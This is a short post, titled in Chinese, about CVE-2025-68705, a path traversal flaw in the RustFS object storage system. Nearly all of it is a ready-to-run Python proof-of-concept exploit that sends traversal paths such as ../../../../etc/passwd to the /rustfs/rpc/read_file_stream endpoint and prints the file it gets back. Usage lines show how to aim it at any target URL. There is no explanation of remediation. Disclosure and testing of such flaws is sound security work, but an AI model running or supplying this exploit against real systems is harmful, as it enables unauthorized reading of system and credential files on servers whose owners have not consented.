CVE-2025-68705 RustFS分布式对象存储系统路径遍历漏洞

import requests import sys # CVE-2025-68705 Path Traversal PoC # Target: RustFS /rustfs/rpc/read_file_stream endpoint def exploit_path_traversal(target_url, file_path): """ Exploit path traversal vulnerability to read arbitrary files Args: target_url: Base URL of the vulnerable RustFS instance file_path: Path to the file to read (e.g., ../../../../etc/passwd) """ endpoint = f"{target_url}/rustfs/rpc/read_file_stream" # Construct malicious payload with path traversal payload = { "path": file_path, "offset": 0, "limit": 10240 } try: print(f"[*] Target: {target_url}") print(f"[*] Attempting to read: {file_path}") response = requests.post(endpoint, json=payload, timeout=30) if response.status_code == 200: print(f"[+] Success! File content retrieved:") print(response.text) return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_68705.py <target_url> <file_path>") print("Example: python cve_2025_68705.py http://target.com ../../../../etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_path_traversal(target, file_path)